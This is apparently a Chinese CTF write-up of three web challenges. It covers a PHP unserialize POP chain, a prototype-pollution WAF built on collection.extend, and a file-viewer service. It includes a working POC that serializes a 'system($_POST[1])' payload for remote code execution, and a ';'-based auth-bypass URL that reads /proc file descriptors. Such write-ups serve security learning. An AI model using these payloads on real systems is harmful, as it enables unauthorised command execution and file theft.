PHP_unseriliaze_pro
简单的POC:
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'welcome';
public function __construct(){
$this->name = 'Wh0 4m I?';
}
public function __destruct(){
if($this->name == 'A_G00d_H4ck3r'){
echo $this->arg; //
}
}
}
class G00d{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
var_dump($shell);
var_dump($cmd);
if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
die("U R A BAD GUY");
}
eval($shell($cmd));
}
}
class H4ck3r{
public $func;
public function __toString(){
$function = $this->func;
$function(); ///
}
}
unserialize($_GET['a']);
$a = new Welcome;
$a->name = "A_G00d_H4ck3r";
$a->arg = new H4ck3r;
$b = new G00d;
$a->arg->func = $b;
$b->shell = "rtrim";
$b->cmd = "system(\$_POST[1]);";
echo serialize($a);
highlight_file(__FILE__);
//$shell = 'eval';
//$cmd = '$_GET[1]';
//eval($shell($cmd));
?>
最后逃逸cmd,你返回的必须是字符串才能被eval执行
include和eval和require一样(在群里看atao师傅发言学到的
注意: 因为是语言构造器而不是函数,不能被 可变函数 或者 命名参数 调用。
meow_blog
waf: (req, res, next) => { //
const params = {}
collection.extend(true, params, req.body || {})
collection.extend(true, params, req.query || {})
for (key of Object.keys(params)) {
if (params[key].toString() === '[object Object]') { // 这里进行原型链污染
return res.render('error', { layout: 'member', error: 'No Objects!' })
}
}
req.data = params;
return next();
}
}
collection.extend(true, params, req.body || {})
collection.extend(true, params, req.query || {})
这两行代码主要是使用了 collection.extend()
方法对 params
对象进行了合并。这个方法通常用于将一个或多个对象的属性合并到一个目标对象中。其中,第一个参数表示目标对象,后面的参数则表示源对象,可以传递多个源对象。
通过调用 collection.extend(true, params, req.body || {})
方法,将 req.body
对象的所有属性合并到 params
对象中,并覆盖相同的属性。其中,第一个参数 true
表示执行深度合并,也就是合并所有嵌套对象的属性,而不仅仅是浅拷贝。
类似地,第二个调用 collection.extend(true, params, req.query || {})
则将 req.query
对象的属性合并到 params
对象中。
通常,这种技术被用于编写 node.js web 应用程序,以便将请求的参数(包括请求体和查询字符串)与默认参数进行合并并传递给处理函数。
最近在细细的学习原型链污染,后面一起补吧(唉
sharedBox
这题看了wp,只会非预期解法:
这题比赛的时候,版本我找到的很快是通过/fileview/onlinePreview?url=http://localhost:8012/index.html判断的低版本
然后去复现了出现过的历史漏洞,除了XSS复现成功了,其他都不行,我还以为是我版本判断错误了,后面才发现这个还得你自己去审计一下源码,网上的POC被nginx禁止了 问了渗透的哥们才知道他们经常用 ; 这个符号去绕未授权的路径
这个删文件,然后有文件流是我不知道的。然后爆破/proc/num/fd/num可以爆破到flag,在这个路径下找到了,还有用url编码绕过
/fileview/;/getCorsFile?urlPath=file///%70%72%6f%63/28/%66%64/6
预期解法:
读/root/flag.java文件,然后审计rce
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.Properties;
public class flag {
public static void main(String[] args) {
Connection conn = null;
Properties prop = new Properties();
InputStream input = null;
try {
input = Files.newInputStream(Paths.get("/tmp/config.properties"));
while(true){
// 连接到SQLite数据库
// 创建一个属性对象
prop.load(input);
// 创建一个Connection对象,并传入属性对象
conn = DriverManager.getConnection("jdbc:sqlite:/tmp/mydatabase.db", prop);
// 设置密码
Statement stmt = conn.createStatement();
stmt.close();
Thread.sleep(5000);
}
// 接下来,你可以在此处执行其他操作
} catch (SQLException e) {
System.out.println(e.getMessage());
} catch (InterruptedException | IOException e) {
throw new RuntimeException(e);
} finally {
try {
if (conn != null) {
conn.close();
}
} catch (SQLException ex) {
System.out.println(ex.getMessage());
}
}
}
}
参考链接:
https://security.snyk.io/vuln/SNYK-JS-COLLECTIONJS-3185148
https://tyaoo.github.io/2021/09/25/Handlebars-AST%E6%B3%A8%E5%85%A5/
https://www.yuque.com/dat0u/ctf/rn62m6832mihed4t